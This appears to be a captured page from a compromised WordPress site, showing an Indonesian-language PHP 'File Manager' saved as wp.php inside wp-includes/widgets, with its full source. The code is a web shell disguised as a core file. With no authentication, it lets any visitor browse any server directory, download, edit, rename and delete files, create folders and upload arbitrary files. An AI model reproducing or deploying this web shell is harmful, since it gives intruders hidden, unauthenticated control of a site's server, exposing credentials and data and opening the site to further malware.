Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-includes
/
wp-includes
/
wp-includes
/
widgets
:
wp.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php $dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$dir || !is_dir($dir)) $dir = getcwd(); function breadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, trim($dir, DIRECTORY_SEPARATOR)); $path = DIRECTORY_SEPARATOR; echo "<nav class='breadcrumb'>📂 Path: "; echo "<a href='?dir=" . urlencode(DIRECTORY_SEPARATOR) . "'>/</a>"; foreach ($parts as $part) { if ($part === '') continue; $path .= $part . DIRECTORY_SEPARATOR; echo "<a href='?dir=" . urlencode(rtrim($path, DIRECTORY_SEPARATOR)) . "'>$part</a> / "; } echo "</nav>"; } if (isset($_GET['download'])) { $target = realpath($_GET['download']); if (is_file($target) && is_readable($target) && filesize($target) > 0) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); flush(); readfile($target); exit; } else { echo "<!DOCTYPE html><html><body style='font-family:sans-serif; padding:20px;'>"; echo "<h2>⚠️ File tidak dapat diunduh</h2>"; echo "<a href='?dir=" . urlencode(dirname($target)) . "'>🔙 Kembali</a>"; echo "</body></html>"; exit; } } if (isset($_POST['rename_old'], $_POST['rename_new'])) { $old = realpath($_POST['rename_old']); $new = dirname($old) . DIRECTORY_SEPARATOR . basename($_POST['rename_new']); if (is_writable($old)) rename($old, $new); header("Location: ?dir=" . urlencode(dirname($old))); exit; } if (isset($_POST['newfolder']) && $_POST['newfolder']) { $newDir = $dir . DIRECTORY_SEPARATOR . basename($_POST['newfolder']); if (!file_exists($newDir)) mkdir($newDir); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); header("Location: ?dir=" . urlencode(dirname($target))); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload'])) { move_uploaded_file($_FILES['upload']['tmp_name'], $dir . '/' . basename($_FILES['upload']['name'])); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_GET['edit']) && is_file($_GET['edit'])) { $file = realpath($_GET['edit']); if (is_writable($file)) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($file, $_POST['content']); header("Location: ?dir=" . urlencode(dirname($file))); exit; } $content = htmlspecialchars(file_get_contents($file)); echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Edit</title><style> body { font-family: sans-serif; padding: 20px; background: #f0f0f0; } textarea { width: 100%; height: 80vh; font-family: monospace; } button, a.button { padding: 10px 20px; margin-top: 10px; background: #007bff; color: white; border: none; border-radius: 5px; text-decoration: none; } a.button { background: #6c757d; } </style></head><body>"; echo "<h2>📝 Edit: " . basename($file) . "</h2>"; echo "<form method='post'>"; echo "<textarea name='content'>$content</textarea><br>"; echo "<button type='submit'>💾 Simpan</button> "; echo "<a href='?dir=" . urlencode(dirname($file)) . "' class='button'>🔙 Kembali</a>"; echo "</form></body></html>"; exit; } } function list_dir($dir) { $items = scandir($dir); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = realpath($dir . DIRECTORY_SEPARATOR . $item); if (!$path) continue; if (is_dir($path)) $folders[] = $path; else $files[] = $path; } $list = array_merge($folders, $files); echo "<ul class='file-list'>"; foreach ($list as $path) { $item = basename($path); $encoded = urlencode($path); $isDir = is_dir($path); echo "<li>"; echo "<div class='name'>"; echo $isDir ? "📁 <a href='?dir=$encoded'>$item</a>" : "📄 $item"; echo "</div>"; echo "<div class='actions'>"; if (!$isDir && is_readable($path) && filesize($path) > 0) { echo "<a href='?download=$encoded'>Download</a> "; echo "<a href='?edit=$encoded'>Edit</a> "; } echo "<a href='#' onclick=\"toggleRename(this); return false;\">Rename</a>"; echo "<div class='rename-box' style='display:none; margin-top:5px;'> <form method='post'> <input type='hidden' name='rename_old' value='" . htmlspecialchars($path) . "'> <input type='text' name='rename_new' value='" . htmlspecialchars($item) . "' size='15'> <button type='submit'>✔</button> <button type='button' onclick='toggleRename(this.parentNode.parentNode.previousElementSibling);'>✖</button> </form> </div>"; echo "<a href='?delete=$encoded' onclick=\"return confirm('Hapus $item?')\">Hapus</a>"; echo "</div></li>"; } echo "</ul>"; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>File Manager</title> <style> body { font-family: sans-serif; margin: 40px; background: #f5f5f5; color: #333; } h2 { margin-top: 0; } nav.breadcrumb { margin-bottom: 20px; } nav.breadcrumb a { text-decoration: none; color: #007bff; } ul.file-list { list-style: none; padding: 0; } ul.file-list li { background: #fff; border-radius: 4px; padding: 10px; margin-bottom: 5px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; } .name { flex: 1; text-align: left; } .actions { text-align: right; } .actions a, .actions button { margin-left: 10px; font-size: 0.85em; color: #007bff; text-decoration: none; border: none; background: none; cursor: pointer; } .actions form { display: inline; } .rename-box input[type="text"] { padding: 4px; font-size: 0.85em; } .rename-box button { margin-left: 5px; background: #007bff; color: white; padding: 4px 8px; border: none; border-radius: 3px; font-size: 0.85em; } form { margin-top: 20px; } input[type="file"], input[type="text"] { padding: 4px 6px; font-size: 0.85em; } button { padding: 4px 10px; background: #4CAF50; color: white; font-size: 0.85em; border: none; border-radius: 4px; cursor: pointer; } button:hover { background: #3e8e41; } .top-forms { display: flex; gap: 20px; margin-bottom: 20px; align-items: end; } .top-forms label { font-size: 0.85em; } </style> <script> function toggleRename(link) { const box = link.nextElementSibling; box.style.display = (box.style.display === 'none') ? 'block' : 'none'; } </script> </head> <body> <h2>🗂️ File Manager</h2> <?php breadcrumb($dir); ?> <div class="top-forms"> <form method="post" enctype="multipart/form-data" style="display: flex; gap: 10px;"> <div> <label>📤 Upload File:</label><br> <input type="file" name="upload"> </div> <button type="submit">Upload</button> </form> <form method="post" style="display: flex; gap: 10px;"> <div> <label>📁 Buat Folder Baru:</label><br> <input type="text" name="newfolder" placeholder="Nama folder"> </div> <button type="submit">Buat</button> </form> </div> <?php list_dir($dir); ?> </body> </html>